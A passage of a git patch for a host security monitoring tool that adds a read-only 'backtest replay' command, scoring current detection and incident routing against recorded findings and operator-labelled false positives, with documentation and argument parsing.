interrupts from corpus 12 (7,158 re-observed; trust changed 422, custody 2,091) assay recall 9/21 interrupt (11 predicate-only, 1 not run) Tests: tests/test_backtest_replay.py (11). The learning-OFF and no-custody-write tests were mutation-checked: each fails with its override removed. Co-Authored-By: Claude Opus 5.5 (1M context) --- ARCHITECTURE.md | 26 ++ aegis.py | 759 +++++++++++++++++++++++++++++++--- tests/test_backtest_replay.py | 312 ++++++++++++++ 3 files changed, 1043 insertions(+), 54 deletions(-) create mode 100644 tests/test_backtest_replay.py diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 083782c..26b5a88 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -568,6 +568,32 @@ observations re-rendered as though fresh. 118 of 120 dismissals were The menu-bar plugin counts OPEN INCIDENTS, so that — not findings-per-scan — is the number the operator actually reads, and it is what this tier targets. +### Ground truth: `backtest replay` + +Every earlier fix in this tier was measured by silence ("the queue got +shorter"), which is also what broken detection looks like. `aegis.py backtest +replay [--days N] [--reobserve]` scores the CURRENT code against the answer key +the store already holds: it opens the live store read-only (`mode=ro`, one +snapshot), groups the recorded `observation.finding` events into their scans +(by `observed_at`: no writer sets `scan_id`), and re-runs each batch through +`route_findings` with the live tolerance memory and the learning period OFF, +the scan's own record-and-fold (`_record_finding_events`, shared with +`record_security_state`) and `_apply_correlations` (chains, lineage, risk, +incidents) in an in-memory store. It reports per-category interrupts, lists by +id every incident the operator closed as noise (`FALSE_POSITIVE`, whatever the +resolution) whose evidence would open an interrupt again — `noise re-opened: N +of M` — counts open cases with no noise-labelled evidence (`new interrupts +from corpus`), and routes the findings the 21 assay lanes build through the +same gate (`assay recall: X/21`; predicate-only lanes and the one lane that +writes live state are named, not skipped). `--reobserve` first re-asks the +classifier and the custody ladder about every binary a process, listener, +beacon or outbound finding names that is still on disk, and re-derives its +severity from that sensor's own gate, so a classifier or ladder fix is +scoreable and not only a routing fix. The scan-tail closers are deliberately +not run: they key on what a scan re-asserted, and the event log holds only +what the live fold recorded. The command asserts its counts against the store +before printing them and puts a failed assertion at the top. + ### Identity fixes (what a finding is *about*) | Sensor | Was identified by | Now identified by | Measured | diff --git a/aegis.py b/aegis.py index d82a8a2..03ee808 100755 --- a/aegis.py +++ b/aegis.py @@ -4552,14 +4552,18 @@ def _signal_decision(f, memory): return None, 0 -def route_findings(findings, first_run=False, adopt=frozenset(), memory=None): +def route_findings(findings, first_run=False, adopt=frozenset(), memory=None, + seen=None): """{fingerprint: {"route", "why", "decision", "verdicts"}} for a batch. `route` is the interrupt-tier outcome. `decision` is the incident-tier outcome ("allowlisted", "tolerated", "learning" or None), carried separately because a finding the seen-ledger already knows still needs its incident decided. `memory` is _suppression_memory(...) or None, in - which case only the interrupt-tier checks apply. + which case only the interrupt-tier checks apply. `seen` is the seen-ledger + to consult, read from SEEN when None; `backtest replay` passes its own, + built as it goes, because the live ledger already holds every fingerprint + the replay is asking about. First-run silence is the KnockKnock "trust what's already installed" rule — it applies to PERSISTENCE and SHELL-HISTORY only, the two surfaces made @@ -4571,7 +4575,8 @@ def route_findings(findings, first_run=False, adopt=frozenset(), memory=None): sees for the first time. Confidence is the second routing axis: a high-impact-but-noisy hit (explicit confidence='low') is logged and correlated but routed to the digest instead of interrupting.""" - seen = load_json(SEEN, {}) + if seen is None: + seen = load_json(SEEN, {}) allow = set(load_json(ALLOWLIST, [])) out = {} for f in findings: @@ -6357,6 +6362,76 @@ def _run_store_migrations(db, now): return ran +def _record_finding_events(db, findings, now, routing=None, folded=None): + """Record one scan's findings as signals and finding events in `db`, and + return [(event_id, finding)] for the events actually written. + + One function for the scan and for `backtest replay`, which re-records + history into a scratch store through this same fold — so the two can never + disagree about which re-observation is news. A finding folded into its + active case writes no event; when `folded` is a dict it receives + {index in findings: incident id folded into}, which is how the replay + attributes a folded finding to the case that absorbed it.""" + marks = ",".join("?" for _ in _ACTIVE_INCIDENT_STATES) + new_events = [] + for index, original in enumerate(findings): + f = _redact_value(dict(original)) + occurred = _epoch(f.get("occurred_at") or f.get("ts") or now) + attrs = _event_attributes(f) + prev = db.execute( + "SELECT severity FROM signals WHERE fingerprint=?", + (f["fingerprint"],)).fetchone() + db.execute( + "INSERT INTO signals(fingerprint,rule_id,rule_version,category," + "severity,title,detail,first_seen,last_seen,occurrence_count," + "attributes_json) VALUES(?,?,?,?,?,?,?,?,?,?,?) ON CONFLICT(" + "fingerprint) DO UPDATE SET last_seen=excluded.last_seen," + "severity=excluded.severity,title=excluded.title,detail=excluded.detail," + "occurrence_count=signals.occurrence_count+1," + "attributes_json=excluded.attributes_json", + (f["fingerprint"], f.get("rule_id") or "aegis.legacy", + int(f.get("rule_version") or 1), f["category"], f["severity"], + f["title"], f["detail"], now, now, 1, + json.dumps(attrs, sort_keys=True))) + signal_id = db.execute("SELECT id FROM signals WHERE fingerprint=?", + (f["fingerprint"],)).fetchone()[0] + # A persisting condition is one fact with a count, not an + # event per scan. When this signal's OWN case is already an + # ACTIVE incident holding its evidence, at the same severity, + # the re-observation adds nothing an event row can say — + # occurrence_count (incremented above) and last_seen carry it. + # Live cost of the old behaviour: 41-64 byte-identical rows + # per open signal incident, feeding the 50k retention budget. + # Three deliberate bounds: a SEVERITY change still records (a + # custody re-grade is exactly the news the incident needs); a + # finding with a routing verdict still records (an allowlist + # or tolerance decision must reach the loop that closes the + # case); and only kind='signal' incidents fold — a risk + # incident's corroborating facts must stay visible in the + # accumulator's event window. + rv = (routing or {}).get(f["fingerprint"]) + if prev and prev["severity"] == f["severity"] \ + and not (rv and rv.get("decision")): + case = db.execute( + "SELECT i.id FROM incidents i JOIN incident_events ie " + "ON ie.incident_id=i.id JOIN events e ON e.id=ie.event_id " + "WHERE i.status IN (%s) AND i.kind='signal' " + "AND e.signal_id=? LIMIT 1" % marks, + _ACTIVE_INCIDENT_STATES + (signal_id,)).fetchone() + if case: + if folded is not None: + folded[index] = case[0] + continue + cur = db.execute( + "INSERT INTO events(occurred_at,observed_at,source,event_type," + "signal_id,data_json) VALUES(?,?,?,?,?,?)", + (occurred, now, f.get("sensor_id") or f["category"], + "observation.finding", signal_id, + json.dumps(f, sort_keys=True))) + new_events.append((cur.lastrowid, f)) + return new_events + + def record_security_state(findings, sensor_health=(), now=None, initially_notified=False, suppressed_categories=frozenset(), routing=None): @@ -6365,57 +6440,7 @@ def record_security_state(findings, sensor_health=(), now=None, new_events = [] try: with db: - marks = ",".join("?" for _ in _ACTIVE_INCIDENT_STATES) - for original in findings: - f = _redact_value(dict(original)) - occurred = _epoch(f.get("occurred_at") or f.get("ts") or now) - attrs = _event_attributes(f) - prev = db.execute( - "SELECT severity FROM signals WHERE fingerprint=?", - (f["fingerprint"],)).fetchone() - db.execute( - "INSERT INTO signals(fingerprint,rule_id,rule_version,category," - "severity,title,detail,first_seen,last_seen,occurrence_count," - "attributes_json) VALUES(?,?,?,?,?,?,?,?,?,?,?) ON CONFLICT(" - "fingerprint) DO UPDATE SET last_seen=excluded.last_seen," - "severity=excluded.severity,title=excluded.title,detail=excluded.detail," - "occurrence_count=signals.occurrence_count+1," - "attributes_json=excluded.attributes_json", - (f["fingerprint"], f.get("rule_id") or "aegis.legacy", - int(f.get("rule_version") or 1), f["category"], f["severity"], - f["title"], f["detail"], now, now, 1, - json.dumps(attrs, sort_keys=True))) - signal_id = db.execute("SELECT id FROM signals WHERE fingerprint=?", - (f["fingerprint"],)).fetchone()[0] - # A persisting condition is one fact with a count, not an - # event per scan. When this signal's OWN case is already an - # ACTIVE incident holding its evidence, at the same severity, - # the re-observation adds nothing an event row can say — - # occurrence_count (incremented above) and last_seen carry it. - # Live cost of the old behaviour: 41-64 byte-identical rows - # per open signal incident, feeding the 50k retention budget. - # Three deliberate bounds: a SEVERITY change still records (a - # custody re-grade is exactly the news the incident needs); a - # finding with a routing verdict still records (an allowlist - # or tolerance decision must reach the loop that closes the - # case); and only kind='signal' incidents fold — a risk - # incident's corroborating facts must stay visible in the - # accumulator's event window. - rv = (routing or {}).get(f["fingerprint"]) - if prev and prev["severity"] == f["severity"] and not (rv and rv.get("decision")) and db.execute( - "SELECT 1 FROM incidents i JOIN incident_events ie " - "ON ie.incident_id=i.id JOIN events e ON e.id=ie.event_id " - "WHERE i.status IN (%s) AND i.kind='signal' " - "AND e.signal_id=? LIMIT 1" % marks, - _ACTIVE_INCIDENT_STATES + (signal_id,)).fetchone(): - continue - cur = db.execute( - "INSERT INTO events(occurred_at,observed_at,source,event_type," - "signal_id,data_json) VALUES(?,?,?,?,?,?)", - (occurred, now, f.get("sensor_id") or f["category"], - "observation.finding", signal_id, - json.dumps(f, sort_keys=True))) - new_events.append((cur.lastrowid, f)) + new_events = _record_finding_events(db, findings, now, routing) _record_health(db, sensor_health, now) _apply_correlations(db, new_events, now, initially_notified, frozenset(suppressed_categories), routing) @@ -27782,6 +27807,602 @@ def _iso_short(epoch_val): return "?" +# --------------------------------------------------------------------------- # +# Ground truth: `backtest replay`. +# +# Six false-alarm batches were each judged by the queue getting shorter, which +# is also exactly what broken detection looks like. The store already holds an +# answer key nobody read: every finding the sensors recorded, and every +# incident the operator closed as noise. This re-runs the first through the +# CURRENT pipeline — route_findings with the live teaching, the scan's own +# record-and-fold (_record_finding_events), and _apply_correlations (chains, +# lineage, risk accumulation, incidents) — in a throwaway store, and scores +# the result against the second. `cmd_replay` re-ran correlation alone and +# scored nothing. +# +# What it deliberately does NOT run: the scan-tail closers (re-grade, +# cleared-state, re-verified, removed-file, age-out). Each keys on what a scan +# RE-ASSERTED, and the event log holds only what the live fold chose to +# record, so "absent from this batch" means "not recorded", never "gone"; +# they would close cases on missing evidence. The question here is whether a +# case OPENS, and a close that comes later does not un-ring the interrupt. +# --------------------------------------------------------------------------- # + +# The one assay lane a read-only replay refuses to run, and the reason it says. +_REPLAY_ASSAY_NOT_RUN = { + "quarantine-roundtrip": "moves a real file through the live quarantine " + "store and its manifest, a write a read-only " + "replay does not make (`aegis.py assay` runs it)", +} + +# The binary sensors whose severity is their own trust gate graded by +# _grade_binary: the findings --reobserve can re-derive from today's answers. +_REOBSERVE_CATEGORIES = ("process", "net-listener", "net-beacon", + "net-outbound") + +_REPLAY_ROUTES = (ROUTE_INTERRUPT, ROUTE_DIGEST, ROUTE_SEEN, ROUTE_SILENT, + "dropped") +_REPLAY_REQUIRED = ("fingerprint", "category", "severity", "title", "detail") + + +@contextmanager +def _replay_overrides(**names): + """Swap module globals for the length of a replay and restore them by + value. The move the assay lanes make one name at a time (`g = + globals()`), gathered so every substitution a replay makes is listed at + the one place it is made.""" + g = globals() + saved = {k: g[k] for k in names} + g.update(names) + try: + yield + finally: + g.update(saved) + + +def _replay_live_store(): + """The live event store opened READ-ONLY, or None when there is none. + + Never _event_connection(): that one creates the file, migrates the schema + and chmods it — three writes a measurement of the store must not make.""" + if not os.path.exists(EVENT_DB): + return None + db = sqlite3.connect("file:%s?mode=ro" % _sqlite_uri_path(EVENT_DB), + uri=True, timeout=10) + db.row_factory = sqlite3.Row + return db + + +def _replay_scratch(): + """A throwaway in-memory store with the durable schema (as cmd_replay).""" + db = sqlite3.connect(":memory:") + db.row_factory = sqlite3.Row + db.executescript(_EVENT_SCHEMA_SQL) + return db + + +def _replay_load_corpus(live, since): + """Every recorded finding event since `since`, oldest first.""" + return live.execute( + "SELECT id, scan_id, observed_at, data_json FROM events " + "WHERE event_type='observation.finding' AND observed_at>=? " + "ORDER BY observed_at, id", (since,)).fetchall() + + +def _replay_batches(rows): + """([(batch_now, [(live_event_id, finding)])], unparseable, by_scan_id). + + A batch is one scan. `scan_id` is the column for it, but no writer sets it, + so the fallback is the one thing every event of a scan shares: + record_security_state stamps them all with the same observed_at.""" + batches, index, bad, by_scan_id = [], {}, 0, 0 + for row in rows: + try: + f = json.loads(row["data_json"]) + except Exception: + f = None + if not isinstance(f, dict) or any(k not in f for k in _REPLAY_REQUIRED) \ + or not f["fingerprint"] or f["severity"] not in SEV_ORDER: + bad += 1 + continue + key = ("scan", row["scan_id"]) if row["scan_id"] \ + else ("at", row["observed_at"]) + if key not in index: + index[key] = len(batches) + batches.append((row["observed_at"], [])) + by_scan_id += 1 if row["scan_id"] else 0 + batches[index[key]][1].append((row["id"], f)) + return batches, bad, by_scan_id + + +def _replay_in(live, sql, ids): + """Rows of `sql` (one `%s` for the IN list) over `ids`, in chunks under + SQLite's bound-parameter ceiling.""" + ids = list(ids) + out = [] + for i in range(0, len(ids), 500): + chunk = ids[i:i + 500] + out.extend(live.execute(sql % ",".join("?" * len(chunk)), chunk)) + return out + + +def _reobserve_base(f, path, trust): + """The UNGRADED severity the sensor that emitted `f` would give `path` at + `trust` today, or None when its gate no longer opens and it would not emit + the finding at all. Asked of each sensor's own predicates; the four shapes + are check_processes, the listener diff, _beacon_from_sightings and + _outbound_findings.""" + category = f.get("category") + if category == "process": + verdict = _exec_alert(path, trust) + return verdict[0] if verdict else None + if category == "net-listener": + if IS_LINUX: + hostile = bool(_exec_alert(path, trust)) or is_risky_location(path) + else: + hostile = suspicious_sig(trust) and is_risky_location(path) + return "HIGH" if hostile else "MEDIUM" + if category == "net-beacon": + if _is_trusted_prefix(path) or _BEACON_BROWSER_RE.search(path) \ + or not (suspicious_sig(trust) or is_risky_location(path)): + return None + return "HIGH" + if category == "net-outbound": + return "MEDIUM" if _outbound_candidate_trust(path) is not None else None + return None + + +def _reobserve_endpoints(f): + """The endpoint(s) the emitting sensor graded custody against: a network + vouch is endpoint-scoped, so the ladder must be asked the same question.""" + category, port = f.get("category"), f.get("port") + if category == "net-beacon": + if f.get("remote"): + return ("%s:%s" % (f["remote"], port),) + shown = f.get("endpoints") or [] + return ("%s:%s" % (shown[0], port),) if shown and port else (None,) + if category == "net-outbound": + return tuple(f.get("endpoints") or ()) or (None,) + return (None,) + + +def _reobserve(f, memo, stats): + """`f` re-observed with the CURRENT classifier and custody ladder, or None + when today's sensor would not emit it; returned as recorded when it is not + a binary sensor this can re-derive, or its subject is gone from disk. + + The classifier is asked through classify_signature, logic-versioned cache + and all: a classifier change that does not bump _SIGCACHE_LOGIC_VERSION is + invisible here exactly as it would be on the live install. Answers are + memoized per subject, so a program seen in two hundred scans is asked once.""" + category = f.get("category") + if category not in _REOBSERVE_CATEGORIES: + return f + path = f.get("path") or f.get("program") + if not path or not os.path.exists(path): + stats["gone"] += 1 + return f + rotating = str(f["fingerprint"]).startswith("beacon:rotating:") + parents = tuple(f.get("ancestry") or ()) if category == "process" else () + endpoints = _reobserve_endpoints(f) + key = (category, path, endpoints, parents, rotating) + if key not in memo: + trust = classify_signature(path)["trust"] + base = _reobserve_base(f, path, trust) + graded = rung = None + if base is not None: + sha = memo.get(("sha", path)) + if sha is None: + sha = memo[("sha", path)] = sha256(path) + for endpoint in endpoints: + sev, got, _note = _grade_binary( + base, path, endpoint=endpoint, sha=sha, + parents=list(parents) or None) + if graded is None or SEV_ORDER[sev] > SEV_ORDER[graded]: + graded, rung = sev, got + if rotating: + graded = _step_down(graded) + memo[key] = (trust, graded, rung) + trust, graded, rung = memo[key] + stats["reobserved"] += 1 + trust_moved = trust != f.get("trust") + stats["trust_changed"] += trust_moved + if graded is None: + stats["changed"] += trust_moved + stats["no_longer_emitted"] += 1 + return None + custody_moved = rung != (f.get("custody") or None) + stats["custody_changed"] += custody_moved + stats["changed"] += trust_moved or custody_moved + stats["severity_changed"] += graded != f["severity"] + g = dict(f, trust=trust, custody=rung, severity=graded) + if isinstance(g.get("subject"), dict) and "trust" in g["subject"]: + g["subject"] = dict(g["subject"], trust=trust) + return g + + +def _replay_assay(memory, now): + """One row per assay lane. Its findings are captured as the lane's own + detectors build them and routed through route_findings and the scratch + pipeline exactly like the corpus. A lane that returns a verdict without + building a finding is reported as predicate-only, never silently dropped.""" + import secrets + marks = ",".join("?" for _ in _ACTIVE_INCIDENT_STATES) + real_finding = finding + rows = [] + for lane_id, _desc, fn in _assay_lanes(): + why = _REPLAY_ASSAY_NOT_RUN.get(lane_id) + if why: + rows.append({"lane": lane_id, "status": "not run", "detail": why}) + continue + built = [] + + def capture(*args, _built=built, **kwargs): + f = real_finding(*args, **kwargs) + _built.append(f) + return f + + with _replay_overrides(finding=capture): + try: + passed = bool(fn(secrets.token_hex(8))) + except Exception: + passed = False + if not passed: + rows.append({"lane": lane_id, "status": "FAILED", + "detail": "the control itself failed; run " + "`aegis.py assay`"}) + continue + if not built: + rows.append({"lane": lane_id, "status": "predicate", + "detail": "passes; returns a verdict and builds no " + "finding, so there is nothing to route"}) + continue + findings = [dict(f) for f in built] + routing = route_findings(findings, memory=memory, seen={}) + told = [f for f in findings + if routing[f["fingerprint"]]["route"] == ROUTE_INTERRUPT] + scratch = _replay_scratch() + try: + with scratch: + new_events = _record_finding_events(scratch, findings, now, + routing) + _apply_correlations(scratch, new_events, now, + initially_notified=bool(told), + routing=routing) + opened = scratch.execute( + "SELECT COUNT(*) FROM incidents WHERE status IN (%s)" % marks, + _ACTIVE_INCIDENT_STATES).fetchone()[0] + finally: + scratch.close() + top = max(findings, key=lambda f: SEV_ORDER[f["severity"]]) + detail = "%d finding(s), top %s %s: %s" % ( + len(findings), top["severity"], top["category"], top["title"]) + if not (told or opened): + detail += " — routed %s" % ", ".join(sorted( + {routing[f["fingerprint"]]["why"] for f in findings})) + rows.append({"lane": lane_id, + "status": "interrupt" if told or opened else "digest", + "detail": detail}) + return rows + + +def _backtest_replay(days=30, reobserve=False, now=None): + """Everything `backtest replay` reports, as data; cmd_backtest_replay + renders it. See the banner above for what is run and what is not.""" + now = _epoch(now) + since = now - int(days) * 86400 + r = {"days": int(days), "reobserve": None, "problems": []} + live = _replay_live_store() + if live is None: + r["missing"] = EVENT_DB + return r + try: + # One read transaction: every number below, and every assertion made + # against the store, comes from the same snapshot while the live + # watch keeps writing. + live.execute("BEGIN") + rows = _replay_load_corpus(live, since) + in_store = live.execute( + "SELECT COUNT(*) FROM events WHERE event_type='observation.finding' " + "AND observed_at>=?", (since,)).fetchone()[0] + memory = _suppression_memory(live, now) + weights = _category_dismissal_weights(live, now) + links = {} + for row in _replay_in( + live, "SELECT event_id, incident_id FROM incident_events " + "WHERE event_id IN (%s)", [row["id"] for row in rows]): + links.setdefault(row["event_id"], set()).add(row["incident_id"]) + incidents = {row["id"]: dict(row) for row in _replay_in( + live, "SELECT id, kind, status, resolution, title FROM incidents " + "WHERE id IN (%s)", set().union(*links.values()))} + direct_noise = {row[0] for row in live.execute( + "SELECT DISTINCT i.id FROM incidents i " + "JOIN incident_events ie ON ie.incident_id=i.id " + "JOIN events e ON e.id=ie.event_id " + "WHERE i.status='FALSE_POSITIVE' " + "AND e.event_type='observation.finding' AND e.observed_at>=?", + (since,))} + finally: + live.close() + # The learning period is OFF for a replay: inside it every non-attack + # signal closes as `learning`, and the baseline would read zero for a + # reason that has nothing to do with the code being measured. + memory = tuple(memory[:3]) + (False,) + tuple(memory[4:]) + batches, bad, by_scan_id = _replay_batches(rows) + stats = dict.fromkeys(("reobserved", "trust_changed", "custody_changed", + "changed", "severity_changed", "no_longer_emitted", + "gone"), 0) + routes, route_of, scratch_of, folded_into, finding_of = {}, {}, {}, {}, {} + seen, memo = {}, {} + marks = ",".join("?" for _ in _ACTIVE_INCIDENT_STATES) + + # The operator's teaching comes from the live store, read once: the + # suppression memory rides in on `memory`, the per-category dismissal + # weights on this override (the scratch store has no dismissals of its + # own). And grading records every rung it awards in the custody ledger, + # which a measurement must not do. + def live_weights(_db, _now, window=None): + return dict(weights) + + def remember_nothing(*_args, **_kwargs): + return False + + scratch = _replay_scratch() + try: + with _replay_overrides(_category_dismissal_weights=live_weights, + _custody_remember=remember_nothing): + for batch_now, batch in batches: + for live_id, f in batch: + finding_of[live_id] = f + if reobserve: + kept = [] + for live_id, f in batch: + g = _reobserve(f, memo, stats) + if g is None: + route_of[live_id] = "dropped" + routes.setdefault(f["category"], dict.fromkeys( + _REPLAY_ROUTES, 0))["dropped"] += 1 + else: + kept.append((live_id, g)) + batch = kept + if not batch: + continue + findings = [f for _i, f in batch] + routing = route_findings(findings, memory=memory, seen=seen) + for live_id, f in batch: + fp = f["fingerprint"] + route = routing[fp]["route"] + # emit()'s ledger step: a fingerprint is told once, and a + # repeat inside one batch is already seen. + if route in (ROUTE_DIGEST, ROUTE_INTERRUPT): + if fp in seen: + route = ROUTE_SEEN + else: + seen[fp] = f.get("ts") or batch_now + route_of[live_id] = route + routes.setdefault(f["category"], dict.fromkeys( + _REPLAY_ROUTES, 0))[route] += 1 + folded = {} + with scratch: + new_events = _record_finding_events( + scratch, findings, batch_now, routing, folded=folded) + _apply_correlations( + scratch, new_events, batch_now, + initially_notified=any( + route_of[i] == ROUTE_INTERRUPT for i, _f in batch), + routing=routing) + recorded = iter(new_events) + for index, (live_id, _f) in enumerate(batch): + if index in folded: + folded_into[live_id] = folded[index] + else: + scratch_of[live_id] = next(recorded)[0] + r["assay"] = _replay_assay(memory, now) + open_cases = {row["id"]: dict(row) for row in scratch.execute( + "SELECT id, kind, severity, title FROM incidents " + "WHERE status IN (%s) ORDER BY id" % marks, + _ACTIVE_INCIDENT_STATES)} + cases_of, events_of = {}, {} + for row in scratch.execute( + "SELECT incident_id, event_id FROM incident_events"): + cases_of.setdefault(row["event_id"], set()).add(row["incident_id"]) + events_of.setdefault(row["incident_id"], set()).add(row["event_id"]) + finally: + scratch.close() + + def reopens(live_id): + """How this finding re-opens under the current code, or None.""" + if route_of.get(live_id) == ROUTE_INTERRUPT: + return "interrupt" + cases = set(cases_of.get(scratch_of.get(live_id), ())) + if live_id in folded_into: + cases.add(folded_into[live_id]) + for case in sorted(cases): + if case in open_cases: + return "open %s case" % open_cases[case]["kind"] + return None + + noise = {} + for live_id in sorted(links): + for iid in links[live_id]: + info = incidents.get(iid) + if info and info["status"] == "FALSE_POSITIVE": + noise.setdefault(iid, dict(info, evidence=[]))[ + "evidence"].append(live_id) + reopened = {} + for iid in sorted(noise): + for live_id in noise[iid]["evidence"]: + how = reopens(live_id) + if how: + reopened[iid] = {"how": how, "finding": finding_of[live_id]} + break + noise_events = {ev for info in noise.values() for ev in info["evidence"]} + live_of = {s: l for l, s in scratch_of.items()} + folded_by_case = {} + for live_id, case in folded_into.items(): + folded_by_case.setdefault(case, set()).add(live_id) + new_cases = [case for case in open_cases + if not (({live_of.get(ev) for ev in events_of.get(case, ())} + | folded_by_case.get(case, set())) & noise_events)] + + replayed = sum(len(batch) for _n, batch in batches) + routed = sum(n for bucket in routes.values() for n in bucket.values()) + lanes = len(_assay_lanes()) + # Rule 17: every number printed is asserted against its source first. + problems = r["problems"] + if len(rows) != in_store: + problems.append("%d finding row(s) loaded but the store holds %d " + "under the same WHERE" % (len(rows), in_store)) + if replayed + bad != len(rows): + problems.append("%d batched + %d unparseable != %d loaded" + % (replayed, bad, len(rows))) + if set(noise) != direct_noise: + problems.append("the noise set (%d) differs from a direct query of " + "the store (%d): %d missing, %d extra" + % (len(noise), len(direct_noise), + len(direct_noise - set(noise)), + len(set(noise) - direct_noise))) + if routed != replayed: + problems.append("%d route(s) counted for %d replayed finding(s)" + % (routed, replayed)) + if not set(reopened) <= set(noise): + problems.append("a re-opened incident is not in the noise set") + if len(r["assay"]) != lanes: + problems.append("%d assay row(s) for %d lane(s)" + % (len(r["assay"]), lanes)) + r.update(loaded=len(rows), in_store=in_store, unparseable=bad, + batches=len(batches), by_scan_id=by_scan_id, memory=memory, + weights=weights, routes=routes, open_cases=open_cases, + noise=noise, reopened=reopened, new_cases=new_cases, + replayed=replayed, lanes=lanes, + reobserve=stats if reobserve else None) + return r + + +def cmd_backtest_replay(days=30, reobserve=False, now=None): + """`backtest replay`: score the CURRENT pipeline against the operator's own + noise labels and the assay's positive controls. Read-only.""" + r = _backtest_replay(days, reobserve, now) + if r.get("missing"): + print("No event store at %s; nothing to replay." % r["missing"]) + return 1 + lines = ["# Aegis backtest replay — last %d days, %d recorded finding " + "event%s in %d scan batch%s" + % (r["days"], r["loaded"], "" if r["loaded"] == 1 else "s", + r["batches"], "" if r["batches"] == 1 else "es"), ""] + if r["batches"] and not r["by_scan_id"]: + lines.append(" batches: grouped by observed_at (no event carries a " + "scan_id)") + if r["unparseable"]: + lines.append(" unparseable: %d row(s) lack a field routing needs " + "(%s) and were not replayed" + % (r["unparseable"], ", ".join(_REPLAY_REQUIRED))) + tolerance, rotating, disputed, _learning, producer = r["memory"][:5] + lines.append(" teaching: live store — %d tolerated identit%s, %d " + "rotating endpoint class(es), %d producer class(es), %d " + "disputed; %d categor%s down-weighted by dismissals; " + "learning period OFF" + % (len(tolerance), "y" if len(tolerance) == 1 else "ies", + len(rotating), len(producer), len(disputed), + len(r["weights"]), + "y" if len(r["weights"]) == 1 else "ies")) + stats = r["reobserve"] + if stats is not None: + lines.append( + " reobserve: %d finding(s) asked again with current code — trust " + "changed %d, custody changed %d (trust or custody: %d), severity " + "changed %d, no longer emitted %d; %d subject(s) gone from disk, " + "replayed as recorded. Re-derivable sensors only (%s)." + % (stats["reobserved"], stats["trust_changed"], + stats["custody_changed"], stats["changed"], + stats["severity_changed"], stats["no_longer_emitted"], + stats["gone"], ", ".join(_REOBSERVE_CATEGORIES))) + lines.append("") + routes = r["routes"] + columns = _REPLAY_ROUTES if stats is not None else _REPLAY_ROUTES[:-1] + lines.append("Per category — interrupt = the current code would notify:") + lines.append(" %-18s %8s " % ("category", "findings") + + " ".join("%9s" % c for c in columns)) + totals = dict.fromkeys(_REPLAY_ROUTES, 0) + for category in sorted(routes, key=lambda c: (-routes[c][ROUTE_INTERRUPT], + -sum(routes[c].values()), + c)): + bucket = routes[category] + for c in _REPLAY_ROUTES: + totals[c] += bucket[c] + lines.append(" %-18s %8d " % (category[:18], sum(bucket.values())) + + " ".join("%9d" % bucket[c] for c in columns)) + lines.append(" %-18s %8d " % ("total", sum(totals.values())) + + " ".join("%9d" % totals[c] for c in columns)) + kinds = {} + for case in r["open_cases"].values(): + kinds[case["kind"]] = kinds.get(case["kind"], 0) + 1 + lines.append("\nCases the replay leaves OPEN: %d%s" % ( + len(r["open_cases"]), " (%s)" % ", ".join( + "%s %d" % (k, kinds[k]) for k in sorted(kinds)) if kinds else "")) + lines.append("\nNoise-labelled incidents the current code re-opens " + "(id, closed as, category, title — path, how):") + for iid in sorted(r["reopened"]): + hit = r["reopened"][iid] + f = hit["finding"] + label = (r["noise"][iid].get("resolution") + or "false-positive").split(":")[0] + lines.append(" #%-5d %-16s %-14s %s — %s · %s" % ( + iid, label[:16], f["category"][:14], f["title"], + f.get("path") or f.get("program") or "-", hit["how"])) + if not r["reopened"]: + lines.append(" (none)") + by_label = {} + for iid, info in r["noise"].items(): + label = (info.get("resolution") or "false-positive").split(":")[0] + pair = by_label.setdefault(label, [0, 0]) + pair[1] += 1 + pair[0] += iid in r["reopened"] + lines.append("") + lines.append("noise re-opened: %d of %d" % (len(r["reopened"]), + len(r["noise"]))) + if by_label: + lines.append(" by label: " + " · ".join( + "%s %d/%d" % (label, by_label[label][0], by_label[label][1]) + for label in sorted(by_label, key=lambda k: -by_label[k][1]))) + lines.append("new interrupts from corpus: %d (open cases none of whose " + "evidence carries a noise label)" % len(r["new_cases"])) + for case in r["new_cases"]: + info = r["open_cases"][case] + lines.append(" %-11s %-8s %s" % (info["kind"], info["severity"], + info["title"])) + lines.append("\nAssay recall — %d positive-control lanes, their findings " + "routed through the same gate in a fresh scratch store:" + % r["lanes"]) + counts = {} + for row in r["assay"]: + counts[row["status"]] = counts.get(row["status"], 0) + 1 + lines.append(" %-22s %-9s %s" % (row["lane"], row["status"], + row["detail"])) + lines.append("assay recall: %d/%d interrupt (%s)" % ( + counts.get("interrupt", 0), r["lanes"], ", ".join( + "%d %s" % (counts[s], s) for s in sorted(counts) + if s != "interrupt") or "every lane interrupts")) + lines.append("") + if r["problems"]: + # At the TOP, not the foot: whoever trusts the first screen must not + # have to reach the last line to learn the numbers were wrong. + lines.insert(2, "> SELF-CHECK FAILED — do not trust the numbers " + "below: " + "; ".join(r["problems"])) + lines.insert(3, "") + else: + lines.append("_Self-check: %d loaded = %d in the store; %d " + "noise-labelled incident(s) = a direct query; %d " + "replayed finding(s) routed once each; %d/%d assay " + "lanes accounted for._" + % (r["loaded"], r["in_store"], len(r["noise"]), + r["replayed"], len(r["assay"]), r["lanes"])) + lines.append("Read-only: the live store was opened mode=ro; nothing was " + "written, notified, or learned.") + print("\n".join(lines)) + return 1 if r["problems"] else 0 + + def cmd_backtest(category=None): """Score a detection category against this machine's own dismissal labels. @@ -30597,6 +31218,17 @@ def cmd_autoprotect(action="status"): backtest [cat] score a detection category against this machine's own typed dismissals. REFUSES below 20 labels rather than reporting a precision figure built on noise + backtest replay [--days N] [--reobserve] + ground truth: re-run the recorded findings of the last N + days (default 30) through the CURRENT routing, fold, + correlation and incident pipeline in a throwaway store, + with the live tolerance memory and the learning period OFF, + and score it against the incidents you closed as noise + ("noise re-opened: N of M", listed by id) and the assay + lanes ("assay recall: X/21"). --reobserve first re-asks the + signature classifier and custody ladder about every binary + still on disk, so a classifier or ladder fix is scoreable. + Asserts its own counts against the store. Read-only """ @@ -30972,6 +31604,25 @@ def main(argv): return 1 return cmd_rehunt(days) if cmd == "backtest": + if len(argv) > 2 and argv[2] == "replay": + rest, days, reobserve = list(argv[3:]), 30, False + try: + while rest: + arg = rest.pop(0) + if arg == "--reobserve": + reobserve = True + elif arg == "--days": + days = int(rest.pop(0)) + elif arg.startswith("--days="): + days = int(arg.split("=", 1)[1]) + else: + raise ValueError(arg) + if days < 1: + raise ValueError(days) + except (ValueError, IndexError): + print("usage: aegis.py backtest replay [--days N] [--reobserve]") + return 1 + return cmd_backtest_replay(days, reobserve) return cmd_backtest(argv[2] if len(argv) > 